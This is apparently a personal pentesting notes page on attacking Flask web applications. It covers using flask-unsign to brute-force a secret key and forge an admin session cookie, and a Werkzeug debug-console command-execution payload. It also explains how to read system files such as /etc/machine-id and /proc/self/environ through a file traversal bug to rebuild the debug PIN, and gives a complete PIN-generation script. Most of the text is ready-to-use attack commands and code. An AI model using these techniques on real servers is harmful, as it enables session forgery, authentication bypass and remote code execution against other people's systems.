Home Notes | Web | Flask
Post
Cancel

Notes | Web | Flask

Cookies

Default cookie session name is “session”.

Flask-unsign

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

To install it:

1
pip3 install flask-unsign
1
flask-unsign --decode --cookie '<cookie>'

Brute force secret

1
flask-unsign --unsign --wordlist <wordlist>  --cookie '<cookie>' --no-literal-eval
1
flask-unsign --sign --cookie "{'admin': 'true', 'username': 'admin' }" --secret 'CHANGEME'

Werkzeug

Flask is implemented on Werkzeug and Jinja2.

Werkzeug is a collection of libraries that can be used to create a WSGI (Web Server Gateway Interface) compatible web application in Python. A WSGI (Web Server Gateway Interface) server is necessary for Python web applications since a web server cannot communicate directly with Python.

Console RCE

If debug is active you could try to access to /console and gain RCE.

1
__import__('os').popen('whoami').read();

In some occasions the /console endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.

Looking at “python3.5/site-packages/werkzeug/debug/init.py”, we can find out how the PIN is generated.

1
2
3
4
5
6
7
8
9
10
11
probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

You will need these information:

probably_public_bits

  • username: user that started the Flask app. Maybe you can guess looking at “/proc/self/environ”
  • modname: is flask.app
  • getattr(app, ‘name’, getattr(app.class, ‘name’)): is Flask
  • getattr(mod, ‘file’, None): absolute path of “app.py”. Exemple: “/usr/local/lib/python3.5/dist-packages/flask/app.py”. Use the file traversal vulnerability to confirm your path is correct.

private_bits

  • uuid.getnode(): MAC address of the current computer. To find it, search which network interface is used to serve the app. You can leak it from “/proc/net/arp”. (Exemple: eth0). Then leak the MAC address from “/sys/class/net/<device id>/address”. You now have to convert from hexadecimal to decimal. Exemple: 56:00:02:7a:23:ac -> print(0x5600027a23ac) -> 94558041547692.
  • concatenate the values in “/etc/machine-id” (or “/proc/sys/kernel/random/boot_id” if “/etc/machine-id” does not exist) with the value after the last “/” of the first line of “/proc/self/cgroup”.

Then enter the values in this beautiful code and run it to get the PIN (credits to Hacktricks and BatBato):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#Made with <3 by BatBato
import hashlib
import itertools
from itertools import chain

def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.sha1()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
    probably_public_bits = [
            username,
            modname,
            appname,
            flaskapp_path ]
    private_bits = [
            node_uuid,
            machine_id ]
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
    print(rv)


if __name__ == '__main__':
    usernames = ['web-app'] # username   /proc/self/environ
    modnames = ['flask.app']
    appnames = ['Flask']
    flaskpaths = ['/home/web-app/.local/lib/python3.11/site-packages/flask/app.py']
    nodeuuids = ['2485377892359']# str(uuid.getnode()),  /proc/net/arp => get device name (ex:eth0) =>/sys/class/net/<device id>/address (ex:56:00:02:7a:23:ac) => print(0x5600027a23ac)
    machineids = ['ef4b22e3-e1ed-44b6-a2a3-a2daf63f4019user.slice']# get_machine_id(), /etc/machine-id or /proc/sys/kernel/random/boot_id and the value after the last "/" of the first line of "/proc/self/cgroup".

    # Generate all possible combinations of values
    combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)

    # Iterate over the combinations and call the crack() function for each one
    for combo in combinations:
        username, modname, appname, flaskpath, nodeuuid, machineid = combo
        print('==========================================================================')
        crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
        print(f'{combo}')
        print('==========================================================================')

This post is licensed under CC BY 4.0 by the author.